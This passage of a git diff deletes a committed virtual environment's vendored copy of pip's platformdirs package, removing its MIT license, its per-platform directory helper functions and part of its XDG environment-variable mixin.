-    resource_isdir = __resource_manager.resource_isdir
-    resource_filename = __resource_manager.resource_filename
-    resource_stream = __resource_manager.resource_stream
-    resource_string = __resource_manager.resource_string
-    resource_listdir = __resource_manager.resource_listdir
-    set_extraction_path = __resource_manager.set_extraction_path
-    cleanup_resources = __resource_manager.cleanup_resources
-
-    working_set = WorkingSet()
-    require = working_set.require
-    iter_entry_points = working_set.iter_entry_points
-    add_activation_listener = working_set.subscribe
-    run_script = working_set.run_script
-    run_main = run_script
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/LICENSE b/venv/Lib/site-packages/pip/_vendor/platformdirs/LICENSE
deleted file mode 100644
index f35fed9191b1142ddaada8a96de4a9461c5d796c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/LICENSE
+++ /dev/null
@@ -1,21 +0,0 @@
-MIT License
-
-Copyright (c) 2010-202x The platformdirs developers
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/__init__.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/__init__.py
deleted file mode 100644
index 92fc2da5e9f867c38a463bbbad0d1db58f431da0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/__init__.py
+++ /dev/null
@@ -1,917 +0,0 @@
-"""Utilities for determining application-specific dirs.
-
-Provides convenience functions (e.g. :func:`user_data_dir`, :func:`user_config_path`), a :data:`PlatformDirs` class that
-auto-detects the current platform, and the :class:`~platformdirs.api.PlatformDirsABC` base class.
-
-See  for details and usage.
-
-"""
-
-from __future__ import annotations
-
-import os
-import sys
-from typing import TYPE_CHECKING
-
-from .api import PlatformDirsABC
-from .version import __version__
-from .version import __version_tuple__ as __version_info__
-
-if TYPE_CHECKING:
-    from pathlib import Path
-    from typing import Literal
-
-if sys.platform == "win32":
-    from pip._vendor.platformdirs.windows import Windows as _Result
-elif sys.platform == "darwin":
-    from pip._vendor.platformdirs.macos import MacOS as _Result
-else:
-    from pip._vendor.platformdirs.unix import Unix as _Result
-
-
-def _set_platform_dir_class() -> type[PlatformDirsABC]:
-    if os.getenv("ANDROID_DATA") == "/data" and os.getenv("ANDROID_ROOT") == "/system":
-        if os.getenv("SHELL") or os.getenv("PREFIX"):
-            return _Result
-
-        from pip._vendor.platformdirs.android import _android_folder  # noqa: PLC0415
-
-        if _android_folder() is not None:
-            from pip._vendor.platformdirs.android import Android  # noqa: PLC0415
-
-            return Android  # return to avoid redefinition of a result
-
-    return _Result
-
-
-if TYPE_CHECKING:
-    # Work around mypy issue: https://github.com/python/mypy/issues/10962
-    PlatformDirs = _Result
-else:
-    PlatformDirs = _set_platform_dir_class()  #: Currently active platform
-AppDirs = PlatformDirs  #: Backwards compatibility with appdirs
-
-
-def user_data_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: data directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_data_dir
-
-
-def site_data_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: data directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_data_dir
-
-
-def user_config_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: config directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_config_dir
-
-
-def site_config_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: config directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_config_dir
-
-
-def user_cache_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: cache directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_cache_dir
-
-
-def site_cache_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: cache directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_cache_dir
-
-
-def user_state_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: state directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_state_dir
-
-
-def site_state_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: state directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        ensure_exists=ensure_exists,
-    ).site_state_dir
-
-
-def user_log_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: log directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_log_dir
-
-
-def site_log_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: log directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_log_dir
-
-
-def user_documents_dir() -> str:
-    """:returns: documents directory tied to the user"""
-    return PlatformDirs().user_documents_dir
-
-
-def user_downloads_dir() -> str:
-    """:returns: downloads directory tied to the user"""
-    return PlatformDirs().user_downloads_dir
-
-
-def user_pictures_dir() -> str:
-    """:returns: pictures directory tied to the user"""
-    return PlatformDirs().user_pictures_dir
-
-
-def user_videos_dir() -> str:
-    """:returns: videos directory tied to the user"""
-    return PlatformDirs().user_videos_dir
-
-
-def user_music_dir() -> str:
-    """:returns: music directory tied to the user"""
-    return PlatformDirs().user_music_dir
-
-
-def user_desktop_dir() -> str:
-    """:returns: desktop directory tied to the user"""
-    return PlatformDirs().user_desktop_dir
-
-
-def user_projects_dir() -> str:
-    """:returns: projects directory tied to the user"""
-    return PlatformDirs().user_projects_dir
-
-
-def user_publicshare_dir() -> str:
-    """:returns: public share directory tied to the user"""
-    return PlatformDirs().user_publicshare_dir
-
-
-def user_templates_dir() -> str:
-    """:returns: templates directory tied to the user"""
-    return PlatformDirs().user_templates_dir
-
-
-def user_fonts_dir() -> str:
-    """:returns: fonts directory tied to the user"""
-    return PlatformDirs().user_fonts_dir
-
-
-def user_preference_dir() -> str:
-    """:returns: preference directory tied to the user"""
-    return PlatformDirs().user_preference_dir
-
-
-def user_bin_dir() -> str:
-    """:returns: bin directory tied to the user"""
-    return PlatformDirs().user_bin_dir
-
-
-def site_bin_dir() -> str:
-    """:returns: bin directory shared by users"""
-    return PlatformDirs().site_bin_dir
-
-
-def user_applications_dir() -> str:
-    """:returns: applications directory tied to the user"""
-    return PlatformDirs().user_applications_dir
-
-
-def site_applications_dir(
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: applications directory shared by users
-
-    """
-    return PlatformDirs(
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_applications_dir
-
-
-def user_runtime_dir(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: runtime directory tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_runtime_dir
-
-
-def site_runtime_dir(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> str:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: runtime directory shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_runtime_dir
-
-
-def user_data_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: data path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_data_path
-
-
-def site_data_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: data path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_data_path
-
-
-def user_config_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: config path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_config_path
-
-
-def site_config_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: config path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_config_path
-
-
-def site_cache_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: cache path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_cache_path
-
-
-def user_cache_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: cache path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_cache_path
-
-
-def user_state_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    roaming: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param roaming: See `roaming `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: state path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        roaming=roaming,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_state_path
-
-
-def site_state_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: state path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        ensure_exists=ensure_exists,
-    ).site_state_path
-
-
-def user_log_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: log path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_log_path
-
-
-def site_log_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: log path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_log_path
-
-
-def user_documents_path() -> Path:
-    """:returns: documents path tied to the user"""
-    return PlatformDirs().user_documents_path
-
-
-def user_downloads_path() -> Path:
-    """:returns: downloads path tied to the user"""
-    return PlatformDirs().user_downloads_path
-
-
-def user_pictures_path() -> Path:
-    """:returns: pictures path tied to the user"""
-    return PlatformDirs().user_pictures_path
-
-
-def user_videos_path() -> Path:
-    """:returns: videos path tied to the user"""
-    return PlatformDirs().user_videos_path
-
-
-def user_music_path() -> Path:
-    """:returns: music path tied to the user"""
-    return PlatformDirs().user_music_path
-
-
-def user_desktop_path() -> Path:
-    """:returns: desktop path tied to the user"""
-    return PlatformDirs().user_desktop_path
-
-
-def user_projects_path() -> Path:
-    """:returns: projects path tied to the user"""
-    return PlatformDirs().user_projects_path
-
-
-def user_publicshare_path() -> Path:
-    """:returns: public share path tied to the user"""
-    return PlatformDirs().user_publicshare_path
-
-
-def user_templates_path() -> Path:
-    """:returns: templates path tied to the user"""
-    return PlatformDirs().user_templates_path
-
-
-def user_fonts_path() -> Path:
-    """:returns: fonts path tied to the user"""
-    return PlatformDirs().user_fonts_path
-
-
-def user_preference_path() -> Path:
-    """:returns: preference path tied to the user"""
-    return PlatformDirs().user_preference_path
-
-
-def user_bin_path() -> Path:
-    """:returns: bin path tied to the user"""
-    return PlatformDirs().user_bin_path
-
-
-def site_bin_path() -> Path:
-    """:returns: bin path shared by users"""
-    return PlatformDirs().site_bin_path
-
-
-def user_applications_path() -> Path:
-    """:returns: applications path tied to the user"""
-    return PlatformDirs().user_applications_path
-
-
-def site_applications_path(
-    multipath: bool = False,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param multipath: See `multipath `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: applications path shared by users
-
-    """
-    return PlatformDirs(
-        multipath=multipath,
-        ensure_exists=ensure_exists,
-    ).site_applications_path
-
-
-def user_runtime_path(  # noqa: PLR0913, PLR0917
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-    use_site_for_root: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-    :param use_site_for_root: See `use_site_for_root `.
-
-    :returns: runtime path tied to the user
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-        use_site_for_root=use_site_for_root,
-    ).user_runtime_path
-
-
-def site_runtime_path(
-    appname: str | None = None,
-    appauthor: str | Literal[False] | None = None,
-    version: str | None = None,
-    opinion: bool = True,  # noqa: FBT001, FBT002
-    ensure_exists: bool = False,  # noqa: FBT001, FBT002
-) -> Path:
-    """:param appname: See `appname `.
-    :param appauthor: See `appauthor `.
-    :param version: See `version `.
-    :param opinion: See `opinion `.
-    :param ensure_exists: See `ensure_exists `.
-
-    :returns: runtime path shared by users
-
-    """
-    return PlatformDirs(
-        appname=appname,
-        appauthor=appauthor,
-        version=version,
-        opinion=opinion,
-        ensure_exists=ensure_exists,
-    ).site_runtime_path
-
-
-__all__ = [
-    "AppDirs",
-    "PlatformDirs",
-    "PlatformDirsABC",
-    "__version__",
-    "__version_info__",
-    "site_applications_dir",
-    "site_applications_path",
-    "site_bin_dir",
-    "site_bin_path",
-    "site_cache_dir",
-    "site_cache_path",
-    "site_config_dir",
-    "site_config_path",
-    "site_data_dir",
-    "site_data_path",
-    "site_log_dir",
-    "site_log_path",
-    "site_runtime_dir",
-    "site_runtime_path",
-    "site_state_dir",
-    "site_state_path",
-    "user_applications_dir",
-    "user_applications_path",
-    "user_bin_dir",
-    "user_bin_path",
-    "user_cache_dir",
-    "user_cache_path",
-    "user_config_dir",
-    "user_config_path",
-    "user_data_dir",
-    "user_data_path",
-    "user_desktop_dir",
-    "user_desktop_path",
-    "user_documents_dir",
-    "user_documents_path",
-    "user_downloads_dir",
-    "user_downloads_path",
-    "user_fonts_dir",
-    "user_fonts_path",
-    "user_log_dir",
-    "user_log_path",
-    "user_music_dir",
-    "user_music_path",
-    "user_pictures_dir",
-    "user_pictures_path",
-    "user_preference_dir",
-    "user_preference_path",
-    "user_projects_dir",
-    "user_projects_path",
-    "user_publicshare_dir",
-    "user_publicshare_path",
-    "user_runtime_dir",
-    "user_runtime_path",
-    "user_state_dir",
-    "user_state_path",
-    "user_templates_dir",
-    "user_templates_path",
-    "user_videos_dir",
-    "user_videos_path",
-]
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/__main__.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/__main__.py
deleted file mode 100644
index 0d1877b122f4cdacf5612e3823ad8f7acdd406ef..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/__main__.py
+++ /dev/null
@@ -1,66 +0,0 @@
-"""Main entry point."""
-
-from __future__ import annotations
-
-from pip._vendor.platformdirs import PlatformDirs, __version__
-
-PROPS = (
-    "user_data_dir",
-    "user_config_dir",
-    "user_cache_dir",
-    "user_state_dir",
-    "user_log_dir",
-    "user_documents_dir",
-    "user_downloads_dir",
-    "user_pictures_dir",
-    "user_videos_dir",
-    "user_music_dir",
-    "user_projects_dir",
-    "user_publicshare_dir",
-    "user_templates_dir",
-    "user_fonts_dir",
-    "user_preference_dir",
-    "user_bin_dir",
-    "site_bin_dir",
-    "user_applications_dir",
-    "user_runtime_dir",
-    "site_data_dir",
-    "site_config_dir",
-    "site_cache_dir",
-    "site_state_dir",
-    "site_log_dir",
-    "site_applications_dir",
-    "site_runtime_dir",
-)
-
-
-def main() -> None:
-    """Run the main entry point."""
-    app_name = "MyApp"
-    app_author = "MyCompany"
-
-    print(f"-- platformdirs {__version__} --")  # noqa: T201
-
-    print("-- app dirs (with optional 'version')")  # noqa: T201
-    dirs = PlatformDirs(app_name, app_author, version="1.0")
-    for prop in PROPS:
-        print(f"{prop}: {getattr(dirs, prop)}")  # noqa: T201
-
-    print("\n-- app dirs (without optional 'version')")  # noqa: T201
-    dirs = PlatformDirs(app_name, app_author)
-    for prop in PROPS:
-        print(f"{prop}: {getattr(dirs, prop)}")  # noqa: T201
-
-    print("\n-- app dirs (without optional 'appauthor')")  # noqa: T201
-    dirs = PlatformDirs(app_name)
-    for prop in PROPS:
-        print(f"{prop}: {getattr(dirs, prop)}")  # noqa: T201
-
-    print("\n-- app dirs (with disabled 'appauthor')")  # noqa: T201
-    dirs = PlatformDirs(app_name, appauthor=False)
-    for prop in PROPS:
-        print(f"{prop}: {getattr(dirs, prop)}")  # noqa: T201
-
-
-if __name__ == "__main__":
-    main()
diff --git a/venv/Lib/site-packages/pip/_vendor/platformdirs/_xdg.py b/venv/Lib/site-packages/pip/_vendor/platformdirs/_xdg.py
deleted file mode 100644
index b2af284ae397d385167de6531c096193da73951a..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_vendor/platformdirs/_xdg.py
+++ /dev/null
@@ -1,171 +0,0 @@
-"""XDG environment variable mixin for Unix and macOS."""
-
-from __future__ import annotations
-
-import os
-
-from .api import PlatformDirsABC
-
-
-class XDGMixin(PlatformDirsABC):
-    """Mixin that checks XDG environment variables, falling back to platform-specific defaults via ``super()``."""
-
-    @property
-    def user_data_dir(self) -> str:
-        """:returns: data directory tied to the user, from ``$XDG_DATA_HOME`` if set, else platform default"""
-        if path := os.environ.get("XDG_DATA_HOME", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().user_data_dir
-
-    @property
-    def _site_data_dirs(self) -> list[str]:
-        if xdg_dirs := os.environ.get("XDG_DATA_DIRS", "").strip():
-            return [self._append_app_name_and_version(p) for p in xdg_dirs.split(os.pathsep) if p.strip()]
-        return super()._site_data_dirs
-
-    @property
-    def site_data_dir(self) -> str:
-        """:returns: data directories shared by users, from ``$XDG_DATA_DIRS`` if set, else platform default"""
-        dirs = self._site_data_dirs
-        return os.pathsep.join(dirs) if self.multipath else dirs[0]
-
-    @property
-    def user_config_dir(self) -> str:
-        """:returns: config directory tied to the user, from ``$XDG_CONFIG_HOME`` if set, else platform default"""
-        if path := os.environ.get("XDG_CONFIG_HOME", "").strip():
-            return self._append_app_name_and_version(path)
-        return super().user_config_dir
-
-    @property
-    def _site_config_dirs(self) -> list[str]:
-        if xdg_dirs := os.environ.get("XDG_CONFIG_DIRS", "").strip():
-            return [self._append_app_name_and_version(p) for p in xdg_dirs.split(os.pathsep) if p.strip()]
-        return super()._site_config_dirs
-
-    @property
-    def site_config_dir(self) -> str:
